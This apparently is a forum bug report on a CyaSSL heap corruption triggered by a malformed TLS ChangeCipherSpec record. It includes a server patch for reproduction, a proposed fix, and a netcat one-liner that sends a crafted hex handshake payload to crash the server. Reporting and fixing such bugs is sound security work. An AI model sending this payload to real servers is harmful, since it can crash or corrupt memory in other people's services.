Topic: crash on malformed cipher change spec message
Hello.
TLDR: cyassl corrupts memory if client sends cipher change spec with body longer than 1 byte.
Context:
* SuSE Linux Enterprise Server 11.1
* gcc 4.3.4 (system default)
* cyassl - latest master from github, as of 3.sept.2012, master 690938f lsr fs macros
* linking statically with libcyassl.a (but see below an example with cyassl bundled examples)
* cyassl configured with: ./configure --prefix=/local/cyassl-dev -enable-hugecache --enable-fastmath --enable-aesni --enable-opensslExtra --disable-debug
Debugging my application ssl-related crashes i've found strange situation when if there is an error during the handshake my app would crash with "heap corruption" glibc message.
So investigating i've narrowed it down to one specifi case: cipher change spec message where header looks like this:
5 byte record header
[14 03 01 00 81]
[random garbage in the body and some data after]
so processing this message yassl first loops over ALL 129 bytes of the body, decrypting byte by byte and updating hashes, etc. and then like nothing has happened proceeds to the next message and bails on it, since it's header is garbage.
But doing that it corrupts memory somewhere, the exact spot i haven't been able to track yet 
So in pseudocode it looks like
if (-1 == CyaSSL_accept(ssl)) // returns -226, record layer version error
{
CyaSSL_free(ssl); // here it crashes with glibc "double free or corruption" message
close(socket_fd);
}So i'm not supposed to call CyaSSL_free() there? but it definitely should NOT loop anyway, right ?
Also heres the patch to reproduce it on bundled server example (it basically comments out exiting on SSL_accept() failure and any io after that, jumping straight to CyaSSL_free() call)
diff --git a/examples/server/server.c b/examples/server/server.c
index a33a4ef..6318cb4 100644--- a/examples/server/server.c+++ b/examples/server/server.c
@@ -298,12 +298,14 @@ THREAD_RETURN CYASSL_THREAD server_test(void* args) int err = SSL_get_error(ssl, 0); char buffer[80];
printf("error = %d, %s\n", err, ERR_error_string(err, buffer));- err_sys("SSL_accept failed");
+ //err_sys("SSL_accept failed");
} #else
NonBlockingSSL_Accept(ssl); #endif
#endif
+
+#if 0
showPeer(ssl);
idx = SSL_read(ssl, input, sizeof(input));
@@ -316,6 +318,7 @@ THREAD_RETURN CYASSL_THREAD server_test(void* args)
err_sys("SSL_write failed");
SSL_shutdown(ssl);
+#endif
SSL_free(ssl);
SSL_CTX_free(ctx);so to reproduce:
* apply the patch, run make
* start server: ./examples/server/server -p 1105 -v 1 -d
* execute the following command imitating the proper handshake with malicious change_cipher_spec:
echo -ne '160301003b0100003703010bf3397a0a912e0ee6398b8513ffa464ad8e69184b93f133c5e29c955c25c4e0000010003900330035002f00050004000a00fd010016030101061000010201002f5cc167dbc143d8a5bdaeb6740c1b89a09a013e8ec3be484b109d746001e0ce328d53999c99b74cfe21c8ca05ad3d8d45e61b2b47ecbdaee93b5ff06bf1e04338fd964152c231d65573d40e33e71c75c6beba1d237ddabe7322a26c6ac13a648c6e71555854c428100434a5237dbb0277c7982ea081dc8edbcbfde8792b6bde58a146380804c23ce4246abb34caf8dfe0c48f87123f80db20c5364e4165006ef2ba7f37fc373b2ee28dd37b26d33073ba932167b5719087eae472ce021832e8d83f5e0ad82f75a257b20294692b7dbbf7c19a0d8e6e302a6cf064373740ea4b619d0688f8b5c23ebd424d56b5110a885c8f002c10688f092522fdfdf1e360c71403010081011603010030b7346eff3b5da42f49afec2df1d1da5c1339493f3f87ef4d9cacff525eb7b2668135a08c6fd80288632897f56b9244d51703010020a682f8e0cb0490324ea9e8317032f08269e7de0c5e302fc76e4690d55f3482af17030101e0c17628395f42964139f16e616da331ac2ae432c88e0ea50b10a35965a15e7ee9fe5ba81e9e58' | xxd -r -p | netcat localhost 1105 | xxdi'm unsure how to patch this, but for now i've opted to just reject cipher_change_spec messages with length != 1, here's the patch, which seems to solve the problem for me, by bailing early without trying to recover
diff --git a/src/internal.c b/src/internal.c
index 367b97e..c70079e 100644
--- a/src/internal.c
+++ b/src/internal.c
@@ -2731,6 +2731,11 @@ int ProcessReply(CYASSL* ssl)
AddLateRecordHeader(&ssl->curRL, &ssl->timeoutInfo);
}
#endif
+
+ /* CHANGE CIPHER SPEC is always 1 byte long, just reject the whole thing if it's not */
+ if (ssl->curSize != 1)
+ return LENGTH_ERROR;
+
ssl->buffers.inputBuffer.idx++;
ssl->keys.encryptionOn = 1;oh and btw, strangely if i rebuild cyassl with --enable-debug it stops crashing, but doesn't stop looping over the whole message.
Thanks for reading, hope to receive some help from the gurus 
